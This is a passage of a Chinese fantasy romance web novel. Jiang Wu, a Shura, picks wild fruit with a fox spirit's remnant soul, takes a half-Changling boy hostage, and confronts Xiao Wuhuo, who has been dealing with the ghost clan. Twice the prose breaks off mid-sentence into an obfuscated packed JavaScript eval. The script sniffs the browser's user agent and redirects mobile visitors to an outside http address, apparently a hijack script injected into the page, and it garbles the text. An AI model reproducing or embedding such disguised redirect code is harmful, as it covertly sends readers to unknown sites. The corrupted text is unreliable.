“在做何事?” 萧舒延将手中的帕子搭到一旁,走到姜芜身侧,垂眸看着她碗中的东西,只见一碗混浊似米汤一般的水,随着姜芜的搅动又漂浮起一些干果类的东西。 “真是麻烦啊。”姜芜放下勺子,笑着看向萧舒延,“借我点戾气用用?” 萧舒延问道:“需要我如何做?” 姜芜起身将碗放在萧舒延的掌中,拿着勺子跃跃欲试,“加热一下。” 萧舒延照做,原本淅淅沥沥的汤体逐渐清晰凝固成胶状,不等他开口,姜芜便盛了一点凑到了他的唇边。 “好吃吗?” 萧舒延看着姜芜期待的眼神,点了点头,“好吃。” 其实藕粉本身并没有特别的味道,甚至是无味,而且也没有特别多丰富的口感,但是姜芜盛来的那一勺里有一颗酸甜可口的青葡萄干。 姜芜从萧舒延手中端出那碗藕粉,放在桌面上,随即又拿出另一碗让萧舒延加热,足足加热了三碗藕粉才作罢。 姜芜端着最后一碗递给了萧云,“一起吃吧,感觉还不错。” 萧云讶然,她先是看了萧舒延一眼,随后才从姜芜的手中接过了那碗藕粉,笑着说:“谢谢女郎。” 姜芜笑着折回了萧舒延身侧,低头吃着属于她的那碗藕粉,随口问道:“沛然和季易回来了吗?那个小女修有下落了吗?” 萧舒延吃着藕粉,抬头看着姜芜摇了摇头,“并无。” 姜芜抿了抿双唇,不知萧舒延是故意拖延时间,还是那鬼族人太狡猾,以至于沈确现下都没有线索,既然如此她便只能叮嘱道:“她只是一个十多岁的小孩子,跟一个陌生人待太久会害怕的。” “放心。”萧舒延伸手去握姜芜的左手,却触及到了一片温热的滑腻,他垂眸却见后者腕子上潦草着缠着一方手帕,鲜血正源源不断地从其中渗出,而姜芜仿佛不知疼痛一般。 萧舒延眉心一拢,温声细语地道:“方才去哪了?疼不疼?” 姜芜看了一眼自己的伤口,“不疼,小伤而已。” 萧舒延伸手解开姜芜的随意缠绕的帕子,手指轻轻一抹,那道伤口瞬间愈合,腕间的肌肤完好如初。 姜芜漫不经心地说:“还是有戾气傍身便捷。” 萧舒延垂眸吻了吻姜芜的手腕,“后日,只需要三日我便能解决这里的事情,到时正是除夕夜,我同你一起守岁,取出你体内的噬魂骨钉后便回无幻之境等你。” 姜芜开口问道:“你来得这样急切,荆州府内是有天书残卷吗?” 51. 虚妄 萧舒延抬眸,“为何如此认为?” 姜芜垂眸看着萧舒延,方才因为给自己治伤,所以他将身体压低,分明她才是处于高位的人,却因为萧舒延略带侵略和防备的眼神,让她觉得自己处于劣势。 “鬼族人劫走沈确时明确说了拿天书交换。”姜芜伸手点了点萧舒延的眼尾,“你这个眼神是怕我再次同你抢夺天书吗?” 萧舒延伸手把姜芜抱至自己的腿上,伸手触上她的双眸,轻轻拨动着她的睫毛,“我有时会觉得你目不能视时,全身心依赖我的样子很让我满足,世人都说画龙点睛,足以见得双眸的重要性。但是,你的眼睛总会看穿我的一切,包括我的伪装,我的所思所想,但是我有时却看不清你。” 姜芜神情温煦地看着萧舒延,“你每次都想得这么多吗?平时坐在树上出神时,便是在胡思乱想吗?” 萧舒延否认,“也不全是。” 姜芜伸手把萧舒延抱在怀中,轻轻地拍着他的后背,“听说并州地段发生了一件神奇的事情。” 萧舒延心中一紧,抬眸看向姜芜,“想去凑热闹,还是替他们出手?” 姜芜故作夸张地说:“先听我说完嘛,我听说有一极恶之妖,青面獠牙,侥幸逃出大荒在并州自立为王,打压长灵族联合羽族揭竿起义,预备打压妖王,势如破竹,锐不可挡,可厉害啦!” 萧舒延忍俊不禁,他伸手捏了捏姜芜的脸,“你都是听谁说的?” 姜芜歪头,“当然是妖王的儿子。” 萧舒延见姜芜提到了寂满,脸色顿时阴沉了下来,“所以他们便找到了你,让你助那只蛟蛇化龙?以压制叛乱?你还是准备出手?” 姜芜莞尔,“他们妖族的事情,我顶多就是去看个热闹。你不是给他另寻了他法吗?所以说你知不知晓那个大妖是谁?” 萧舒延说:“不是一个。” “嗯?” 萧舒延伸手揉了揉姜芜的腰,“不是一个大妖,是三个。分别是能掌控时间流逝的烛九阴,知未来的玃如,观过往的狌狌。” 姜芜惊叹一声,“好强悍,这样一举一动岂非都在他们的监视之下,他们居然没有前来阻挠。我们也会被他们感知到未来与过去吗?” “我会,他们不敢来,但是你不会。”萧舒延压着姜芜的脖颈,抵上她的额头,“所以对上他们要小心,不要硬碰硬,有事可唤我帮忙,并州离无幻之境很近,速战速决不会对我造成伤害。” 姜芜伸手抵在萧舒延的双唇上,“我没有无幻之境那么民生纯朴,虽然这张脸也好看,但是我看不惯。”说完,她便起身坐回了自己的位置上,从果盘中摸了几颗鲜龙眼。 “所以这便是妖族那边不知晓是何人作乱的缘由吗?”姜芜把一颗龙眼剥了一半,抵到萧舒延唇边,捏着外面的软壳塞进了他的口中,“听起来确实有些棘手,不过娲皇居然能创造出这么神奇的妖怪,知未来观过往,偏偏不能看我,太可惜了。” 萧舒延将龙眼核吐出,“你想知晓何事?” 姜芜说:“应该无人不对未知感兴趣吧。” 萧舒延垂眸,心中五味杂陈,“到时候,我会把所有的戾气都给你。” 姜芜维持面上笑意不变,“吃饭吧,我饿了。” “好。” 萧云命人端了一盏烤炉放置桌上,又将洗刷好的九孔螺和牡蛎带壳放于铁网上,撒入了青红椒和蒜末。 姜芜见状问道:“这边又不靠海,你整日里从哪里弄得这些新奇货?” 萧舒延夹了一块腊排骨,“好好吃饭。” “柏雨要一起吃吗?” 萧云一愣,接着摇了摇头说:“不了,大人带了很多,也分给了我们一些,我便不一同了。” 萧舒延看了姜芜一眼,用夹子取了一块牡蛎放在了她面前的瓷盘中,“小心烫。” 姜芜急切地拿筷子将牡蛎夹了起来,轻轻吹了几下便吮到了口中,“很新鲜,你去交州地界买的?柔鱼也是?” 萧舒延盛了一勺羊肚菌蒸蛋放在姜芜的碗中,“吃饭吧。” 姜芜抿唇,神情有些无奈,“真是为了我吃饭,难为你了。” 萧舒延应了一声,“那便多吃一些,吃饱一点。” 二人吃过午饭,姜芜躺在床榻上一直犯困,她拿团扇盖住脸,用手肘抵了抵身后的萧舒延。 “萧城主,你继位之后这么闲吗?还有空陪我睡午觉。” 萧舒延单手搭在姜芜的腰上,阖着双眸说:“吃多犯困,睡会。” 姜芜把扇子丢开,转身面朝着萧舒延,伸手将薄被扯开,覆到了他身上,“那便好好睡吧。” 萧舒延伸手把姜芜拢在怀中,“濯濯,这样便很好。” “我觉得也是。” 姜芜听着萧舒延的呼吸逐渐平缓,伸手顺着他的襟口摸到了心口的皮肤,那处没有任何伤口,肌理柔软无暇,指腹可以触到有力的心跳。 咚咚,咚咚,咚咚。 一切都不过是水月假,梦中梦,浮光掠影,惊鸿一瞥,转瞬即逝。 姜芜在萧舒延起身后便睁开了双眸,她迅速起身向外看了一眼,随后从袖袋中将那枚妖丹碎片取了出来,往其中灌入一丝戾气。 原本灰扑扑的妖丹碎片顿时变得流光溢彩,萧蔚的一抹残魂抻了个懒腰,趴在了妖丹圆润的那面。 “唔,没想到我居然还有醒来的一天。”萧蔚抬眸看向姜芜,顿时花容失色,“女……女修罗,你要做何事?” 姜芜把妖丹碎片托在掌心,看着如同拇指姑娘般大小的萧蔚,“我要是想做何事,就不会救你了。” 萧蔚抿着双唇思索了片刻,随后抱住姜芜的手指,神情亲昵,“姜女郎,我家三郎如何了?” 姜芜挑眉,“你害他至此,妖丹一碎,你们两个便该尽了,孽缘纠缠,你还想着他做甚?” “一日夫妻百日恩,百日夫妻似海深。,况且我们做了好多年的夫妻,怎么可能说放下便放下呢?”萧蔚娇声说,“好女郎,你便告诉我吧,我知晓哪里有好吃的覆盆子和樱桃,我带你去采。” 姜芜顺着萧蔚的话说:“那便带路吧,刚好我也有些想吃了。” 萧蔚一愣,她本是奉承的话却没想到姜芜真的应了下来,那处是她的秘密基地,真要是带姜芜去了,反倒是心里有些不情不愿。 “不是说狐狸最爱食野果吗?看来你是不愿意,那便算了吧。”说完,姜芜便将妖丹碎片放在了榻边的矮几上,随即便打算继续午睡。 “不要啊,我带你去还不行吗?”萧蔚哀求道,“反正我以后也吃不到了,你能不能帮我给三郎也摘一些,他最爱我采的果子了。” 姜芜狡黠地一笑,立刻起身到屏风后换了件浅绿的衣衫,拎了一只竹篮,带上萧蔚破碎的妖丹便往荆州府后山的野果地走去。 荆州府后是一片蓊蓊郁郁的小山坡,多是半人高的灌木丛,前几日雨水丰沛,今日太阳一晒,随处可见便是一簇一簇的蘑菇菌类。 萧蔚所说的野果林就在半山腰处,一颗巨大的野樱桃树上结满了红得发紫的樱桃,树下的荆棘灌木中便是覆盖着成片的红色覆盆子。 “就是这里了,怎么样是不是非常得棒?像是世外桃源一般,阳光也好,这里的覆盆子和樱桃可好吃了。” 姜芜俯身摘了一枚覆盆子果放入口中,酸甜可口的汁水在她的唇齿间炸开,她:笑着说:“不愧是小狐狸看中的地方。” 萧蔚神情自豪地说:“我可不是小狐狸了,我已经几千岁了,拥有九条尾巴,已经可以称得上九尾天狐了。” “对于我来说,你同小狐狸没有任何区别。”姜芜垂眸采摘着灌木丛上的覆盆子,“我问你,你所谓的以人心入药是何种方子,能治何病?这方子是别人同你讲的,还是狐族中流传的?” 萧蔚伏在姜芜的肩头,“你的问题好多啊,我以为你会同雾沅大人问出一样的问题呢。” 姜芜头也不抬地说:“雾沅问了你何种问题?” 萧蔚说:“他问我为了一个男人浪费掉自己的千年修为,值不值得,你觉得呢?这样做值不值得?” 姜芜不假思索地说:“你觉得值得,雾沅觉得不值得。” 萧蔚蹙眉,她顺着姜芜的手臂滑进了竹篮中,原本她两指便能捏起了覆盆子果,现下如同巨石一般堆积在她的周身。萧蔚抱起一个对于她来说巨大的覆盆子过,张嘴咬了下去,但因为她现下是灵体,根本吃不到任何东西,所以只是张口咬了个空。 “为何同一件事情,有人觉得值得便是值得呢?”萧蔚有些惋惜地看着周围的覆盆子过,“这种好东西,我居然以后再也吃不着了,感觉还怪伤心难过的。” 姜芜问道:“现下呢?你为报恩而来,却弄伤了萧无祸的双腿,用修行千年的妖丹救了他一个废人。萧无祸因自爆内丹而亡,你救了他一个往后再也不能修道的人,对于萧无祸那种自负的人,比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361239|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀了他还要难受。即便到现下如此,若是还有机会,你是觉得偿还了恩情同他分道扬镳,还是与他再续前缘?” 萧蔚抬眸看向了姜芜,“我爱慕三郎,既然偿还了恩情,无论是生是死我都陪着他,只要三郎不嫌弃我。” 姜芜见采摘了不少覆盆子,便走到了樱桃树下,“既然如此,值得与不值得这个问题,还有追究的必要吗?”说完,她便将竹篮挎在了肩上,手脚并用瞬间爬到了樱桃树上。 “樱桃应该怎么挑?” “当然是要挑饱满有弹性的了。” 萧蔚说完,轻轻惊了一声。 一黑衣少年倒挂在樱桃树上,正一脸怨气地同姜芜面对面。 姜芜见状,不等少年开口说话,直接出手抓住他的衣襟,将他樱桃树上甩了下去,姜芜特意挑选了一块空地处,不至于那少年摔下去时压断大部分覆盆子的枝条。 “哎呦。” 宗华揉着自己摔疼的屁股,怒气冲冲地抬起头,当他看到姜芜一身浅绿色的衣裙,坐在枝叶繁茂的樱桃树枝丫中,面带笑意地垂眸看着他,颗颗饱满艳丽的红樱桃,此时也被衬托得黯然失色。 姜芜是宗华在这个世上见过得第二漂亮的人。 春风无声,拂过树冠带起一阵沙沙声。 姜芜伸手别住耳畔的碎发,她看了一眼地面上发呆的宗华,随即根据萧蔚的方法挑选着樱桃。 萧蔚嘻笑道:“姜女郎,那傻小子为你倾倒呢,估摸是没见过女郎这般惊人姿色,竟然一时半刻说不出话来。” “不必管他。” 萧蔚问道:“世人都说修罗一族青面獠牙,今日一见原来传闻都是虚假,我从未见过像姜女郎这般好看的人,还是说女郎身上也一层虚假的皮囊,只是按照自己的喜好绘制了一副惊艳世俗的绝美容颜?” 姜芜说:“修罗一族向来以俊美著称,不知何时有了青面獠牙之说,我的模样在众多修罗中不过也是平平无奇。” 萧蔚幽幽地叹了口气,“好在修罗都被封印到了无幻之境中,若是行走于世间,我岂不是要嫉妒死。” “神仙姐姐,姐姐,你一定是神仙吧?” 宗华拍拍身上的尘土站了起来,他仰头看着姜芜,兴致冲冲地说:“神仙姐姐可要为我做主啊,这些天来一直有贼人来我这里偷去樱桃与覆盆子,我自己都没得吃啦。” 姜芜挑眉,她勾唇微笑,看了一眼自己竹篮中的果子,“有人来偷你的果子吗?你又如何证明这果子是你的呢?不问自取为盗,我似乎也是贼人。” 萧蔚见宗华笑得痴傻,索性转过头不再看他,语气嫌弃地说:“为何叫他的果子,这本来便是天生地长的野果,这山还是荆州府的呢,怎么便成了他的了,居然还说我为贼人。” 宗华脸上的笑意更浓,“因为这里的果子本来是无主的,但我照料了许久,树虽然不是我的,但好歹这一茬果子应该是我的吧。神仙姐姐怎么能是贼人呢,这些果子本就应该献给神仙姐姐的,能入神仙姐姐的眼,是它们的福气。” 姜芜挎着竹篮从树上翩然而下,落身于距离宗华不远的地方,“听你的意思,你好像并非荆州人氏。” 宗华如实说:“路过而已,我大哥让我在此等候,他有要事要处理。” “你倒是个有趣的,不怕我是坏人吗?”姜芜笑着上前,双眸微微一眯,“这荒郊野岭的,不怕我把你拐走,然后开膛破肚吗?” 宗华神情一愣,眼圈倏地红了起来,他小心翼翼地看着姜芜,试探地问道:“神仙姐姐会如此做吗?” 姜芜这才发觉宗华双眸的特殊之处,“你是长灵族?行走于世间可需要小心。” 宗华挠了挠头发,神情羞赧,“其实我不算长灵族,只是我的母亲是长灵族而已,如果要这么算的话,我只能算半个吧。不过,神仙姐姐好厉害,只需要一眼便能看出我的来历。” 姜芜四下看了看,“长灵族有一双勘破世间一切虚妄的神眼,你虽然不算长灵族人,但也遗传到了这双眼睛,现下无法强大至自保,走到何处也具有危险。你方才说你有个哥哥,他为何将你独自放在此处,你哥哥身上也混了长灵血脉吗?” 宗华点了点头,“不过我哥哥厉害多了,他是还是继承了鬼族人的血脉多一些。” 姜芜挑眉,继续问道:“是吗?那你哥哥是谁?” 宗华说:“从应。” 萧蔚讶然,“居然是三郎的幕僚!” 52. 阿芜 姜芜取了块帕子将竹篮盖起,随后从钱袋中取了几块碎银子递给了宗华,“这些钱就当作是买你的果子。” 宗华连忙摆手,“不用了,我怎么好意思收神仙姐姐的钱,几个果子而已,值不了这些钱的。” 姜芜问道:“难道你不想去城中转转吗?荆州城的鲜花饼非常的可口,可以拿钱去买的。” 宗华闻言吞了吞口水,他跃跃欲试地看着姜芜手中的碎银子,他从并州一路赶过来都不曾正经吃过饭,饿了便是几个烧饼和野果,腰身早就饿瘦了一圈,现下急切得需要一些油水来祭祭五脏庙。 宗华笑容腼腆,最终还是没收,“几个野果子而已,不如神仙姐姐请我吃饭吧,我对荆州城并不熟的,若是神仙姐姐方便的话。” 姜芜将碎银子收回了钱袋中,“也好,那你便同我走吧,需要给你哥哥留封口信吗?” 宗华点了点头,“神仙姐姐,你等等我。”说完,他便跑到樱桃树下摆了几块石子,扫着手上的尘土飞快地跑了过来。 “好啦,我们可以走了。” 【荆州府小院】 寂满震惊地看着吃得狼吞虎咽的宗华,然后无奈地摇了摇头,“这是多久没吃饭啊?” 商扶庭看了宗华一眼,随即转头看向姜芜,“这人是谁?为何要把他带回来?” 姜芜坐在椅子上摇着手中的团扇,她的目光落到宗华身上,“这是我们的人质,他说他的哥哥是从应,也便是劫走你师妹的鬼族人。”说完,她便饮尽杯中的茶水,将团扇放进竹篮中向外走去。 商扶庭追了出去,“你还要去哪?” “我们不能坐以待毙,听说从应是萧无祸的幕僚,我去探望一下三公子,顺便问问如何能寻到从应。”姜芜上下扫了一番商扶庭身上的衣服,“马上便是元日了,裁布做新衣裳是来不及了,不如去城中的成衣店看看吧。” 商扶庭蹙眉,“裁新衣做何用?只是为了迎接元日吗?” 姜芜笑着说:“当然,毕竟是新的一年了,小孩子肯定是要穿新衣的啊。” 商扶庭沉下了脸,他偏过头不再去看姜芜,“我不是小孩。” 姜芜敷衍地应了一声,“如何?你们有在荆州府内找到沈确的下落吗?” 商扶庭抿了抿双唇,“用你的血凝炼出的珠子,在好几处地方都有闪光,所以我们打算一一排查,那珠子真的管用吗?” 姜芜说:“沈确身上有我用戾气做的记号,血珠靠近同我本源一致的东西时自然会发出亮光指引,既然这个府中有这么多,那我们便分头行动,各自调查,尽快找出沈确吧。” 商扶庭点了点头,“姜芜,若是有消息请及时告知我,我很担心我的师妹。” 姜芜莞尔,出声调侃道:“有兴趣和沈确合籍做道侣吗?” 商扶庭一愣,脸色瞬间绯红,“我不是那个意思,阿确小时候很苦的,被当做是另类,还有离魂症会发作,我也只是担心她,而且出山前师傅告诫我要照顾好她,我对阿确没有其他的心思。” “知晓了,不必解释这么多。”姜芜朝里扬了扬下颌,“记得看紧他,别让他跑了。” 商扶庭颔首并应了一声。 从应动作粗暴地一勺白米粥塞进了沈确的口中,“吃!” 沈确觉得唇齿疼痛,挣扎间勺子中的白米粥顿时撒了大半。 从应烦躁地将碗筷扔到一旁,“你可真难伺候。” 沈确抿着唇,双手被束在身后已经感觉到麻木,她眼眶发红,不敢抬头去看从应,“我可以自己吃的,而且我已经辟谷了,不吃也可以。” 萧无祸神情虚弱地看着沈确,“你行了,吓唬她有何用?” 从应倏地看向萧无祸,愤愤不平地说:“还说呢,我们的计划现下全部落空了,你说该怎么办?” 萧无祸感觉体力有些不支,倾身靠在床架上,“不是还有她吗?足够换天书了,话说你这次似乎并没有把戚诃的天书带回来,是出什么差池了吗?” 从应伸手按了按抽痛的额间,“别提了,戚诃疯了,他为了袁星月差点把万毒门夷为平地,好在我跑得快。” 萧无祸长舒了一口气,接着偏头低咳了几声,“稍安勿躁,我答应你的事情一定会完成的。虽然不能将我大哥的身体献给鬼王,但是天书一定会给鬼王的,我已经给胞妹写信了。” 从应挑眉,面上有一瞬间的僵硬,接着他神情疑惑地问道:“你胞妹?” 萧无祸因精力不济而错过了从应脸上一闪而过的身上,他解释道:“对,我有个妹妹已经出嫁了,天书给了她做嫁妆傍身,萧魁身死时,我便给她写了丧书,算算时日也应该到了。” 从应了然,“你爹可真是大方啊,居然把天书给女儿做嫁妆。” 萧无祸颔首,“毕竟阿妺是他唯一的女儿。” 从应若有所思地说:“那你跟你胞妹感情如何?” 萧无祸反问道:“她是我唯一的妹妹,是这个世上唯一同我血脉相连之人,你说呢?” 从应冷笑一声,“既然如此,你要将你妹妹的傍身之物献给鬼王吗?感觉你这个哥哥也不怎么样嘛。” 萧无祸的眼神冷了下来,他面色阴沉地说:“只要鬼王答应帮我把荆州府夷为平地,区区天书而已。” 姜芜根据婢子的指路来到了萧无咎的药园,见后者正在药架前忙碌,便只是伸手敲了敲打开的木门。 萧无咎闻声放下了手中的药材,他回头看到站在门前的姜芜,将她请了进来,并沏好一杯药茶递了过去。 “如此看来,姜女郎的双眼已经好了,不知今日来寻我是何事?” 姜芜勾唇,“多亏了无咎大夫的妙手回春,我今日来是想看看三公子的,有人托我带了些新鲜的野果给他,不知三公子醒了吗?”说完,她揭开竹篮上的帕子,露出了颗颗饱满圆润的覆盆子和红樱桃。 萧无咎颔首,“不知姜女郎是否得了大公子的授意?” 姜芜说:“是我本意,同他人无关,莫非来探望三公子需要大公子的准许吗?三公子不是何等重罪要犯吧?” 萧无咎一惊,连忙说:“女郎误会了,只是三公子现下身体抱恙,大公子许他安心养伤,不许外人打扰,容我让婢子去问问三公子是否愿意见客人。” 姜芜莞尔,“也好,方才是我唐突了。” 萧无祸蹙眉,“你说谁?姜?那个女修罗?!” 从应冷笑一声,“我还没去找她呢,她倒是自己送上门了。” 沈确一惊,目光期盼地看向门外,正准备开口时,却被从应点住了哑穴。 从应勾唇,神情浮现出一丝邪气,“想求救啊?想出声啊?不可以哦!” 萧无祸挥了挥手,示意从应带着沈确到后面躲好,随即让婢子知会姜芜稍等,他去前堂见客。 萧无咎听完婢子的通报,抬眸对姜芜说:“那女郎在此稍等片刻,我还有些草药未筛选,失礼了。” 姜芜颔首。 萧蔚从竹篮中爬出,顺着姜芜的手臂到了她肩头的位置。 姜芜见萧蔚爬得辛苦,伸手将她托到了耳廓上,“除了我,其他人都看不见你。” 萧蔚神绪激动,“没关系,我能再看到他便好了。” 萧无祸步履蹒跚地走进前堂,姜芜顿时觉得耳廓上多了小小的抓力。 萧蔚泣声道:“三郎,你怎么憔悴成这样了。” 萧无祸抬眸看了姜芜一眼,随即嗤笑一声,“女修罗,你来找我何事?是觉得我还未死成,所以准备再次来杀我吗?” “我对杀人没兴趣。”姜芜垂眸抿了一口甘甜的药茶,“只是受人所托,来看看你而已。” 姜芜说完便伸手取下了竹篮上的帕子,将装满覆盆子和红樱桃的竹篮推到了萧无祸面前。 “谁让你带来的?”萧无祸面色复杂地看向姜芜,“我那个好哥哥?不,他可不是我的哥哥。” 姜芜幽幽地叹了口气,“他或许并不知晓荆州府后山有这个,除了给你送这个,我还有其他的事情想要问你。” 萧无祸冷笑一声,“你有问题想问我啊,可我不想回答你哎。” “放心,你只是个传话的而已。”姜芜笑得天真无邪,“从应的弟弟宗华在我们手上,我们可以友好礼貌地平等交换。” 萧无祸面色不变,“你不怕我把你是修罗的事情告诉所有人吗?萧舒延才刚坐上城主的位置,不知晓有没有坐热,因为你出了差池,不知会发生何事呢。你说呢,姜女郎?” 姜芜挑眉,“三公子,你也知晓我是修罗,嗯?” 萧无祸面上有些挂不住,他当然知晓姜芜是修罗,但是他忘记了修罗能够以一挡百,横扫千军,大修罗甚至强悍至无人能比。荆州城城主之位,如果他们想要,不过是区区囊中之物。 “姜女郎至今没有暴露身份,不就是怕惹麻烦吗?再者,你就不怕是萧舒延利用你吗?你一个修罗,手握毁天灭地的力量,何必受一个人类驱使,深陷情爱牢笼难以自拔。” “是有些怕惹麻烦,但也不怕麻烦。”姜芜说,“三公子如此侃侃而谈,对待萧蔚姑娘也是如此吗?” “她……” 萧无祸哑然。 “不过是一个蠢女人而已。” 姜芜了然,“妖的心也是肉长的。” 萧无祸神情有一瞬间的茫然,“她都已经死了。” 姜芜应了一声,垂眸喝茶,“所以你莫要再勾结鬼族人,好好活下去,你父亲也已经死了,也莫要再毁坏他留下的家业了。” 萧无祸听到姜芜提起了萧家,脸色瞬间扭曲,“家业?我所作所为就是为了毁掉萧家的百年基业,给我母亲陪葬!萧家就是吃人的恶鬼!” 姜芜面无表情地看着萧无祸,“然后呢?” 萧无祸神情一愣,随即嗤笑出声,“你回去告诉萧舒延,我同他,不死不休!”说完,他便起身拎着竹篮离开了前堂。 萧蔚吸了一下鼻子,“三郎,多吃一些啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378347|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜芜蹙眉,她将萧蔚从耳廓上取了下来,接着快步走出了药园。 “怎么了?” 萧蔚瘫坐在姜芜的手心,一边用手抹着眼泪一遍说:“我只是心疼萧郎,觉得他好辛苦。” 姜芜看着萧蔚哭得梨花带雨,伸手轻触了一下她的头顶,“三魂七魄,爱恨嗔痴,原来你是爱欲吗?只记得你们之间的爱?别哭了,我们要加急找回你其余的妖丹。” 萧蔚泪眼婆娑地看着姜芜,“要如何做?” 姜芜抬眸看了一眼天色,“时间不早了,先回去吧。等入夜人静时,画个法阵来寻,或者你试试能否感应到自己其余的妖丹在哪。” 萧蔚双手握拳,用力感受了片刻,随后她泄了气,失魂落魄地说:“我感觉不到,我是不是很废物,同族修炼的姐妹都比我厉害,只有我……一直未曾突破天狐……” 姜芜问道:“你那些突破天狐的姐妹呢?都去何处了?” 萧蔚兴致冲冲地说:“都去天上做地仙啦!” 姜芜推开房门走进去,叠了一方帕子放在了梳妆台上,将萧蔚放在了其上。 “你先休息片刻。” 萧蔚趴在帕子上抬头看着姜芜,“我在这里会不会太打扰你?” 姜芜摇了摇头,“不会。” 萧舒延择着竹篮中覆盆子和红樱桃的叶与茎,用清水冲洗干净上面的浮尘,沥干水珠后盛放在了盘中。 萧云揉着僵硬的脖颈从廊庭走过,见状立刻上前道:“大人,这种小事以后吩咐我来做便可,不必大人亲自动手的。” 萧舒延说:“濯濯同你说过很多次,不需要你做这些。” 萧云抬眸看着萧舒延,“可是我总得找机会报答大人,大人不嫌我蠢笨,将我留在身侧,我虽然不能像季易沛然那般为大人效力,但是一些力所能及的小事,我还是能做的。” 萧舒延将竹篮中剩余的果子分给萧云,“不会,上次那个下人你处理得便很好。” “大人,这是给我的吗?”萧云得到萧舒延的肯定后才接过竹篮,“那个下人过于大胆,居然对大人有非分之想,并且自作主张,意图胁迫大人,实在是可恶。” 萧舒延应了一声,“处理得不错,知晓便好。”说完,他端着瓷盘,绕过萧云走了出去。 萧云一愣,握着竹篮的手指逐渐泛白,面色僵硬。 萧舒延端着一盘野果进门,盘中的覆盆子和红樱桃各占一半,挑选出熟透个大饱满的果子,仔细清洗干净后摘去了叶子与果梗。 “去哪里了?” 姜芜走上前从瓷盘中取了一枚樱桃,捏在了指尖,“去看了你三弟。” 姜芜瞅准时机,在萧舒延开口之前,将樱桃抵到了他的唇间,神情期盼地问道:“尝尝好吃吗?甜不甜?” 萧舒延垂眸看着姜芜,将那枚樱桃卷进了口中,“甜,很甜。” 姜芜靠进萧舒延的怀中,捏了一颗覆盆子给他,用只有两人才能听到的声音说:“我捡了些东西回来,你不要乱说话哦,这可是我专门去后山摘的,多吃一些。” 萧舒延应了一声,“很好吃,饿了吗?” 姜芜摇了摇头,双眸看着瓷盘中的果子,她吃了一颗酸甜可口的覆盆子,“还是动物知晓如何才能找到好吃的果子。” 萧舒延问道:“无祸还好吗?” “已经醒了,也能下地走路了,人除了虚弱一些,其他的还不错。”姜芜说,“不过,经此一役,他居然还想同你不死不休,说是要让萧氏为他母亲陪葬。” 萧舒延不以为然地说:“不必理会他,反正也没几日了。” 姜芜笑了一声,她往梳妆台的地方斜了斜视线,“你不要说这些有歧义的话。” 萧舒延伸手拍了拍姜芜的肩背,“下次出门记得同我说一声,不要再往萧云身上扎针了,她会很不舒服的。” “出门同你说一声?是怕我不回来了吗?要不要我见了什么人,做了什么事,都要同你说?”姜芜摸到萧舒延的手,轻轻地拉扯了一番他的手指,“我在这里的所作所为,还需要亲口对你讲吗?难道不是有大把的人赶上去,跟你汇报的我一举一动?” 萧舒延摇了摇头,“阿芜,那是监视,而我只是想确定你的安危。” “阿芜?”姜芜忍俊不禁,她满眼笑意地抬眸看向萧舒延,“听起来像是某种小兽的叫声,阿芜~嗷呜~” 萧舒延见状模仿着姜芜的声音,低声朝她嗷呜着。 两人嬉闹着,姜芜环着萧舒延的脖颈左右躲闪,却因为后者环在她腰上的手限制了行动而被抱着吮了几下脸颊和脖颈。 “好痒,你怎么会突然想到这么一个名字?”姜芜笑着伸手抵在了萧舒延的唇峰上,“你以后莫要总是吓他们,他们胆子小,害怕你。传来传去,你可真是青面獠牙的大修罗了。” 萧舒延问道:“谁们?” “自然是我的朋友们。”姜芜说,“对了,萧无祸的母亲到底是如何死的?他为何对萧氏怨恨这么大?” 53. 族谱 “不患寡而患不均,众生和悦因斯乐。”萧舒延说,“父母对待孩子时也应该这般,当子嗣众多时,很难会有一碗水端平的,总会偏爱像自己的,偏爱小的,甚至偏爱出色的。但是不可能每一个孩子都如此这般,总会有难以察觉偏颇,往往在父母眼中的一些小事,会给子嗣留下深刻的疼痛。” 姜芜伸手抚过萧舒延的眉眼,笑着说:“是嘛,我总觉得你好似变了很多,之前你通常都是不在乎这些小事的,甚至不记在心中,觉得都是些不必要的东西,是累赘是负担,最近这是怎么了?” 萧舒延说:“因为你喜欢,所以我便尝试着去理解,这样便也能理解你有时所做何想了。” 姜芜笑容一僵,她看着萧舒延问道:“为何?你就没有喜欢的东西吗?除了以我为本位的东西。” “都体验过了,但是和你一起总能发现新鲜有趣的东西。”萧舒延说,“生命之漫长,没有何物是一成不变的,唯有你是个意外,令我惊讶的意外。因为你,让我漫长又无聊的生命中变得有趣。” “那我很开心。”姜芜抱着萧舒延收紧手臂,“但是,话又说回来,萧无祸那边你打算如何做?你应该很会解决调皮孩子的别扭心理吧?比如之前在教育我的时候。” 萧舒延摇了摇头,“那不重要,无祸那般认定便不会再改变心思了。他的妹妹远嫁冀州,母亲郁郁而终,不是三言两语便能解开他的心结的。” 姜芜问道:“这些都同萧魁有关吗?” “萧家的情况很复杂。” 萧舒延说便拉着姜芜向外走去。 姜芜跟上萧舒延的步伐,有些不解地问道:“去哪里?” 萧舒延说:“带你去看看萧家。” 日头偏西,颜色昏黄,四季如春的荆州城被一层浓稠的蜜蜡包裹着,恍若凝滞了时间得到了永生。 寂满一脸生无可恋,他端着一碗米饭,用勺子盛了一勺菜,随意地搅拌了几下,然后端着饭碗走出了前堂。 